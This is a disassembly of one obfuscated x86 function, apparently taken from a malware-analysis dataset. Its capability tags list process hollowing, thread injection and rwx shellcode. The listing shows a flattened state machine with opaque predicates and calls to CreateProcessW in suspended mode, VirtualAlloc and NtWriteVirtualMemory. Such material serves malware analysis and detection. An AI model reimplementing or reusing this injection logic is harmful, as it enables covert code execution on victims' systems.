Function at 0x10014810
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf8
mov eax, dword [0x1008f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
mov edx, ecx
sub edx, 0xedc585eb
sub edx, 1
add edx, 0xedc585eb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xfa], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf9], al
mov dword [ebp - 0x100], 0x87884a02
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x104], eax
sub eax, 0x8052abde
je 0x1001727d
jmp 0x1001488b
mov eax, dword [ebp - 0x104]
sub eax, 0x810925fe
je 0x100186d2
jmp 0x100148a1
mov eax, dword [ebp - 0x104]
sub eax, 0x83ac49b6
je 0x10016775
jmp 0x100148b7
mov eax, dword [ebp - 0x104]
sub eax, 0x83e6806b
je 0x1001946a
jmp 0x100148cd
mov eax, dword [ebp - 0x104]
sub eax, 0x8488c487
je 0x10018319
jmp 0x100148e3
mov eax, dword [ebp - 0x104]
sub eax, 0x8695ce73
je 0x1001821d
jmp 0x100148f9
mov eax, dword [ebp - 0x104]
sub eax, 0x8701acfb
je 0x1001648f
jmp 0x1001490f
mov eax, dword [ebp - 0x104]
sub eax, 0x87884a02
je 0x10016074
jmp 0x10014925
mov eax, dword [ebp - 0x104]
sub eax, 0x8861e53e
je 0x1001718a
jmp 0x1001493b
mov eax, dword [ebp - 0x104]
sub eax, 0x8a9496f4
je 0x10017154
jmp 0x10014951
mov eax, dword [ebp - 0x104]
sub eax, 0x8e4551b7
je 0x10016d98
jmp 0x10014967
mov eax, dword [ebp - 0x104]
sub eax, 0x8e4eb996
je 0x10016923
jmp 0x1001497d
mov eax, dword [ebp - 0x104]
sub eax, 0x8e9dce8c
je 0x10017c24
jmp 0x10014993
mov eax, dword [ebp - 0x104]
sub eax, 0x8f2e2b98
je 0x10016ba7
jmp 0x100149a9
mov eax, dword [ebp - 0x104]
sub eax, 0x92924dbd
je 0x10017311
jmp 0x100149bf
mov eax, dword [ebp - 0x104]
sub eax, 0x92e759d0
je 0x1001764d
jmp 0x100149d5
mov eax, dword [ebp - 0x104]
sub eax, 0x9316ad1e
je 0x100172c4
jmp 0x100149eb
mov eax, dword [ebp - 0x104]
sub eax, 0x93dc0221
je 0x1001746c
jmp 0x10014a01
mov eax, dword [ebp - 0x104]
sub eax, 0x941093a3
je 0x100164e0
jmp 0x10014a17
mov eax, dword [ebp - 0x104]
sub eax, 0x9577e692
je 0x1001807c
jmp 0x10014a2d
mov eax, dword [ebp - 0x104]
sub eax, 0x95df8b2e
je 0x1001745d
jmp 0x10014a43
mov eax, dword [ebp - 0x104]
sub eax, 0x96825b2f
je 0x10018bf1
jmp 0x10014a59
mov eax, dword [ebp - 0x104]
sub eax, 0x973fb634
je 0x10016f95
jmp 0x10014a6f
mov eax, dword [ebp - 0x104]
sub eax, 0x9776a7ac
je 0x100197a2
jmp 0x10014a85
mov eax, dword [ebp - 0x104]
sub eax, 0x97a21cb1
je 0x1001935f
jmp 0x10014a9b
mov eax, dword [ebp - 0x104]
sub eax, 0x993aab1d
je 0x10017bd3
jmp 0x10014ab1
mov eax, dword [ebp - 0x104]
sub eax, 0x99b007a1
je 0x100172a3
jmp 0x10014ac7
mov eax, dword [ebp - 0x104]
sub eax, 0x9aad3599
je 0x10017a73
jmp 0x10014add
mov eax, dword [ebp - 0x104]
sub eax, 0x9bd5338b
je 0x100185ed
jmp 0x10014af3
mov eax, dword [ebp - 0x104]
sub eax, 0x9be5b1c2
je 0x100182b1
jmp 0x10014b09
mov eax, dword [ebp - 0x104]
sub eax, 0x9ccf075b
je 0x10019605
jmp 0x10014b1f
mov eax, dword [ebp - 0x104]
sub eax, 0x9d2f75cc
je 0x10016622
jmp 0x10014b35
mov eax, dword [ebp - 0x104]
sub eax, 0x9dd74630
je 0x100183b9
jmp 0x10014b4b
mov eax, dword [ebp - 0x104]
sub eax, 0x9ea5eaea
je 0x10017ef3
jmp 0x10014b61
mov eax, dword [ebp - 0x104]
sub eax, 0x9f0a8a46
je 0x100164ef
jmp 0x10014b77
mov eax, dword [ebp - 0x104]
sub eax, 0x9f972147
je 0x100195e7
jmp 0x10014b8d
mov eax, dword [ebp - 0x104]
sub eax, 0x9fe1e499
je 0x10017c33
jmp 0x10014ba3
mov eax, dword [ebp - 0x104]
sub eax, 0xa07370da
je 0x10017c4b
jmp 0x10014bb9
mov eax, dword [ebp - 0x104]
sub eax, 0xa16de561
je 0x10018369
jmp 0x10014bcf
mov eax, dword [ebp - 0x104]
sub eax, 0xa1b96df2
je 0x10016d89
jmp 0x10014be5
mov eax, dword [ebp - 0x104]
sub eax, 0xa21d9301
je 0x10018278
jmp 0x10014bfb
mov eax, dword [ebp - 0x104]
sub eax, 0xa63fcb13
je 0x10018328
jmp 0x10014c11
mov eax, dword [ebp - 0x104]
sub eax, 0xa6bd2a62
je 0x10017cc2
jmp 0x10014c27
mov eax, dword [ebp - 0x104]
sub eax, 0xa6f24909
je 0x10016ee4
jmp 0x10014c3d
mov eax, dword [ebp - 0x104]
sub eax, 0xa7859f24
je 0x10016fbc
jmp 0x10014c53
mov eax, dword [ebp - 0x104]
sub eax, 0xa8cb9525
je 0x1001932c
jmp 0x10014c69
mov eax, dword [ebp - 0x104]
sub eax, 0xa8cbedb3
je 0x10019021
jmp 0x10014c7f
mov eax, dword [ebp - 0x104]
sub eax, 0xa8d19698
je 0x100172df
jmp 0x10014c95
mov eax, dword [ebp - 0x104]
sub eax, 0xa9559b98
je 0x10016e76
jmp 0x10014cab
mov eax, dword [ebp - 0x104]
sub eax, 0xa9b62ebd
je 0x10016f7d
jmp 0x10014cc1
mov eax, dword [ebp - 0x104]
sub eax, 0xaa36b11d
je 0x10016e67
jmp 0x10014cd7
mov eax, dword [ebp - 0x104]
sub eax, 0xaad2b103
je 0x1001805e
jmp 0x10014ced
mov eax, dword [ebp - 0x104]
sub eax, 0xac152e9a
je 0x100180cd
jmp 0x10014d03
mov eax, dword [ebp - 0x104]
sub eax, 0xac8ad8a4
je 0x10016f5f
jmp 0x10014d19
mov eax, dword [ebp - 0x104]
sub eax, 0xaf803149
je 0x10016a39
jmp 0x10014d2f
mov eax, dword [ebp - 0x104]
sub eax, 0xafa9c1dc
je 0x10018999
jmp 0x10014d45
mov eax, dword [ebp - 0x104]
sub eax, 0xb027ac64
je 0x10017ce9
jmp 0x10014d5b
mov eax, dword [ebp - 0x104]
sub eax, 0xb121a161
je 0x100160a3
jmp 0x10014d71
mov eax, dword [ebp - 0x104]
sub eax, 0xb3c13a67
je 0x10018839
jmp 0x10014d87
mov eax, dword [ebp - 0x104]
sub eax, 0xb4c63c52
je 0x10019382
jmp 0x10014d9d
mov eax, dword [ebp - 0x104]
sub eax, 0xb50eff35
je 0x10016f2d
jmp 0x10014db3
mov eax, dword [ebp - 0x104]
sub eax, 0xb595fa06
je 0x10016673
jmp 0x10014dc9
mov eax, dword [ebp - 0x104]
sub eax, 0xb5bee93f
je 0x10019677
jmp 0x10014ddf
mov eax, dword [ebp - 0x104]
sub eax, 0xb5bf3919
je 0x10017d06
jmp 0x10014df5
mov eax, dword [ebp - 0x104]
sub eax, 0xb5d8c78a
je 0x10018c8e
mov al, byte [ebp - 0xfa]
mov cl, byte [ebp - 0xf9]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83e6806b
mov ecx, 0xb121a161
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xb8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x83e6806b
mov ecx, 0xd902364b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
sub edx, 0x8fdb13c2
sub edx, 1
add edx, 0x8fdb13c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5c84bee
mov ecx, 0x941093a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dword [ebp - 0x100], 0xdb39d5b5
jmp 0x100198f4
mov eax, dword [ebp - 0xf8]
mov byte [eax], 1
mov dword [ebp - 0x100], 0x5904c182
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
add edx, 0x1dd17ab0
sub edx, 1
sub edx, 0x1dd17ab0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9273ae2
mov ecx, 0xb595fa06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc9273ae2
mov ecx, 0xc1a249da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0xefb8ec1
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
sub edx, 0x40296411
sub edx, 1
add edx, 0x40296411
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc69c7f8
mov ecx, 0x6f7ea4be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0xefb8ef4
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
mov edx, ecx
sub edx, 0x6206b368
sub edx, 1
add edx, 0x6206b368
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4feece54
mov ecx, 0xdeb64155
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov dword [ebp - 0x100], 0x6f1d9f58
jmp 0x100198f4
mov dword [ebp - 0x100], 0x17473591
jmp 0x100198f4
mov dword [ebp - 0x100], 0xa9559b98
jmp 0x100198f4
mov eax, dword [ebp - 0xf0]
mov byte [eax], 1
mov dword [ebp - 0x100], 0xf2bab6f7
jmp 0x100198f4
mov dword [ebp - 0x100], 0xa9559b98
jmp 0x100198f4
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xeffa66ad
mov ecx, 0xa6f24909
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeffa66ad
mov ecx, 0xb50eff35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dword [ebp - 0x100], 0x17473591
jmp 0x100198f4
mov dl, byte [ebp - 0x75]
mov eax, 0xa9b62ebd
mov ecx, 0xf6445ad0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xec]
mov byte [eax], 1
mov dword [ebp - 0x100], 0x973fb634
jmp 0x100198f4
mov dword [ebp - 0x100], 0x8052abde
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
sub edx, 0x7fad70ff
sub edx, 1
add edx, 0x7fad70ff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42cd5a8e
mov ecx, 0x6157ee91
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dword [ebp - 0x100], 0x8861e53e
jmp 0x100198f4
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
mov edx, ecx
sub edx, 0xcca7b385
sub edx, 1
add edx, 0xcca7b385
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x50c266c9
mov ecx, 0x54386b82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8ee8
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x100], 0x99b007a1
jmp 0x100198f4
mov edx, dword [ebp - 0x74]
mov eax, 0xd84b6397
mov ecx, 0x9316ad1e
cmp edx, 0xefb8ec3
cmovg eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0xefb8f17
mov dword [ebp - 0x100], 0xa8d19698
jmp 0x100198f4
mov dword [ebp - 0x100], 0x93dc0221
jmp 0x100198f4
mov dl, byte [ebp - 0x6d]
mov eax, 0xb8672fae
mov ecx, 0xd1b6d435
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dword [ebp - 0x100], 0x93dc0221
jmp 0x100198f4
mov eax, dword [ebp - 0xe4]
mov byte [eax], 0
mov eax, dword [ebp - 0xe4]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x6c], al
mov dword [ebp - 0x100], 0xbe07c9d6
jmp 0x100198f4
mov dword [ebp - 0x100], 0x4eb999a7
jmp 0x100198f4
mov dword [ebp - 0x100], 0x1f78600f
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
add edx, 0x44a5b6e1
sub edx, 1
sub edx, 0x44a5b6e1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32b4247c
mov ecx, 0x8e9dce8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dword [ebp - 0x100], 0xfa32e2d
jmp 0x100198f4
mov eax, dword [ebp - 0xe0]
mov byte [eax], 0
mov dword [ebp - 0x100], 0xa07370da
jmp 0x100198f4
mov dword [ebp - 0x100], 0xfa32e2d
jmp 0x100198f4
mov dword [ebp - 0x100], 0x28fedfec
jmp 0x100198f4
mov dl, 1
mov eax, 0x224e053c
mov ecx, 0xb5bf3919
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xdc]
mov byte [eax], 1
mov dword [ebp - 0x100], 0x13fd26b9
jmp 0x100198f4
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0xd18ff55c
jmp 0x100198f4
mov dword [ebp - 0x100], 0xee9a0855
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
add edx, 0x286f143a
sub edx, 1
sub edx, 0x286f143a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x752762eb
mov ecx, 0xac152e9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xd4]
cmp dword [eax], 0xefb8f0f
setle al
and al, 1
mov byte [ebp - 0x5f], al
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x752762eb
mov ecx, 0x2a0b4710
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dl, byte [ebp - 0x5f]
mov eax, 0xa21d9301
mov ecx, 0x6519832f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xd4]
mov dword [eax], 1
mov dword [ebp - 0x100], 0xef90017e
jmp 0x100198f4
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0xefb8ee6
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0xefb8ec6
setg al
and al, 1
mov byte [ebp - 0x5e], al
mov dword [ebp - 0x100], 0xe4b2fe1c
jmp 0x100198f4
mov dword [ebp - 0x100], 0x684a7006
jmp 0x100198f4
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0xefb8ebe
setle al
and al, 1
mov byte [ebp - 0x5d], al
mov dword [ebp - 0x100], 0x6309d8a4
jmp 0x100198f4
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x2e5f7e75
jmp 0x100198f4
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
add edx, 0x806cf80d
sub edx, 1
sub edx, 0x806cf80d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3792912
mov ecx, 0xb952c90d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xb8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1002d840
add esp, 0xc
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5e1ac58f
mov ecx, 0xda1eb416
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x74d0d6a7
mov ecx, 0x208e4a1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov ecx, dword [0x10090634]
mov eax, dword [0x10090630]
mov edx, ecx
add edx, 0x5348d917
sub edx, 1
sub edx, 0x5348d917
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9776a7ac
mov ecx, 0xd98f9d99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dl, byte [ebp - 0x55]
mov eax, 0x50c10245
mov ecx, 0x64d57503
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xa4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x1df466f5
jmp 0x100198f4
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [0x10090634]
mov ecx, dword [0x10090630]
mov edx, eax
add edx, 0xc0f65bc0
sub edx, 1
sub edx, 0xc0f65bc0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbec44c5e
mov ecx, 0x571d49f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x100198f4
mov dword [ebp - 0x100], 0x50c10245
jmp 0x100198f4
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x100], 0xb4c63c52
jmp 0x100198f4
mov dword [ebp - 0x100], 0x13bf29e1
jmp 0x100198f4
mov dword [ebp - 0x100], 0xb121a161
jmp 0x100198f4
mov dword [ebp - 0x100], 0xf15f0b5a
jmp 0x100198f4
mov dword [ebp - 0x100], 0xdfca5ff5
jmp 0x100198f4
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0xefb8f08
mov dword [ebp - 0x100], 0x28049ee5
jmp 0x100198f4
mov eax, dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x100], 0xd98f9d99
jmp 0x100198f4
jmp 0x1001486f